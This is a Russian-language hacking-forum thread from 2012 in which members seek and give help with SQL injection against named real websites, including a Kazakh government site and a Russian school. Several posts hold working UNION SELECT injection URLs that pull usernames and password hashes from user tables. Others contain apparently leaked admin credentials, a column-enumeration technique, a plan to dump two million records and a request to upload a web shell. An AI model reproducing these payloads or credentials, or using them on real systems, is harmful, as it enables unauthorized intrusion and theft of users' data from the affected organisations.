HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.02.2012, 16:30
anonym_di
Познающий
Регистрация: 21.01.2012
Сообщений: 55
Провел на форуме:
11684

Репутация: 0
По умолчанию

Ребята помогите раскрутить эту скулю

http://www.mk.gov.kz/?lang=kaz&id_open_rubric=361&page=7
 
Ответить с цитированием

  #2  
Старый 11.02.2012, 17:05
anonym_di
Познающий
Регистрация: 21.01.2012
Сообщений: 55
Провел на форуме:
11684

Репутация: 0
По умолчанию

Цитата:
Сообщение от ivan151  
не пускает с такими данными-ошибка авторизации,а может кто нибудь посоветует как быть?линк дал
Данные правильные вот

Код:
1
Admin 
pusti 
Администратор, 
 
2 
obz 
zbo 
ОБЖ
 
Ответить с цитированием

  #3  
Старый 11.02.2012, 17:15
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
Провел на форуме:
195266

Репутация: 53


По умолчанию

Цитата:
Сообщение от anonym_di  
Ребята помогите раскрутить эту скулю
http://www.mk.gov.kz/?lang=kaz&id_open_rubric=361&page=7
id_open_rubri - макс 5 символов

page - подставляется в лимит, скули нету.
 
Ответить с цитированием

  #4  
Старый 11.02.2012, 17:28
pirat0
Познающий
Регистрация: 16.01.2011
Сообщений: 71
Провел на форуме:
23576

Репутация: -1
По умолчанию

2IVAN

я же тебе писал не поленись перебери таблицы, если этот сайт для тебя важен,

писал про таблицу mdl_user, вот что из туда выпало:

http://1liceum.ru/shownew.php?setid=-1+union+SELECT+1,group_concat(0x3a,id,username,0x3 a,password),3,4,5+from+u99526_moodle.mdl_user

Код:
,:2admin:6c83c300238522d49d616550f45f9394,:3uraev:622694bd4f
расшифруй и попробуй авторизоватся
 
Ответить с цитированием

  #5  
Старый 11.02.2012, 18:37
pirat0
Познающий
Регистрация: 16.01.2011
Сообщений: 71
Провел на форуме:
23576

Репутация: -1
По умолчанию

Цитата:
Сообщение от Ruslan1817  
http://1liceum.ru/shownew.php?setid=-1+union+SELECT+1,group_concat(login,0x3a,password) %20,3,4,5+from+lsh_infousers+--+
А это чем не по душе?
просто он пишет что авторизоватся на сайте не может с теми даными что получил из таблицы lsh_infousers, я думаю стоит попробывать поискать записи юзверей в других таблицах, и как пример вытянул даные с таблицы mdl_user, где есть запись с login-admin, эту запись остается расшифровать и попробывать залогинится)))
 
Ответить с цитированием

  #6  
Старый 12.02.2012, 15:37
bodrich
Новичок
Регистрация: 09.01.2012
Сообщений: 21
Провел на форуме:
5709

Репутация: 0
По умолчанию

http://www.interself.ru/info/newsshow.php?num=-273+union+select+1,column_name,3,4,5,6,7,8+from+in formation_schema.columns+where+table_name=0x757365 7273--+

А как здесь вытащить столбцы ?
 
Ответить с цитированием

  #7  
Старый 12.02.2012, 16:06
pirat0
Познающий
Регистрация: 16.01.2011
Сообщений: 71
Провел на форуме:
23576

Репутация: -1
По умолчанию

Цитата:
Сообщение от bodrich  
http://www.interself.ru/info/newsshow.php?num=-273+union+select+1,column_name,3,4,5,6,7,8+from+in formation_schema.columns+where+table_name=0x757365 7273--+
А как здесь вытащить столбцы ?
вариант №1

http://www.interself.ru/info/newsshow.php?num=-273+union+select+1,group_concat(column_name),3,4,5 ,6,7,8+from+information_schema.columns+where+table _name=0x75736572+limit+0,1--+ (где в хексе user)

вариант №2

http://www.interself.ru/info/newsshow.php?num=-273+union+select+1,group_concat(column_name),3,4,5 ,6,7,8+from+information_schema.columns+where+table _name=0x62346d66715f7573657273+limit+0,1--+ (где в хексе b4mfq_users)

p.s. таблички к которой ты составлял запрос походу нету (users), ну или я ее не нашол))
 
Ответить с цитированием

  #8  
Старый 12.02.2012, 23:46
Pirotexnik
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
Провел на форуме:
97332

Репутация: 38
По умолчанию

Ребят, из-за чего в MySQL скуле може НЕ РАБОТАТЬ where?

Первый раз с таким сталкиваюсь. Любой запрос содержащий where не отрабатывает... Из-за чего может быть? Есть ли аналоги? Нужно сделать дамп примерно 2 000 000 записей. Лимит естественно ложит БД.

p.s. фильтрации нету вроде ни на что. MySQL >=5
 
Ответить с цитированием

  #9  
Старый 13.02.2012, 01:10
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
Провел на форуме:
40748

Репутация: 78
По умолчанию

Цитата:
Сообщение от Pirotexnik  
Ребят, из-за чего в MySQL скуле може
НЕ РАБОТАТЬ
where
?
Первый раз с таким сталкиваюсь. Любой запрос содержащий
where
не отрабатывает... Из-за чего может быть? Есть ли аналоги? Нужно сделать дамп примерно 2 000 000 записей. Лимит естественно ложит БД.
p.s. фильтрации нету вроде ни на что. MySQL >=5
фильтр. хотя слабо верится.
 
Ответить с цитированием

  #10  
Старый 13.02.2012, 02:09
Jakeroid
Новичок
Регистрация: 09.05.2009
Сообщений: 14
Провел на форуме:
64334

Репутация: 3
По умолчанию

Кто-то сталкивался с такой штукой как Plogger Gallery? Нужно через нее залить шел.

Вот ссылка на сайт галереи:

http://www.plogger.org/
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.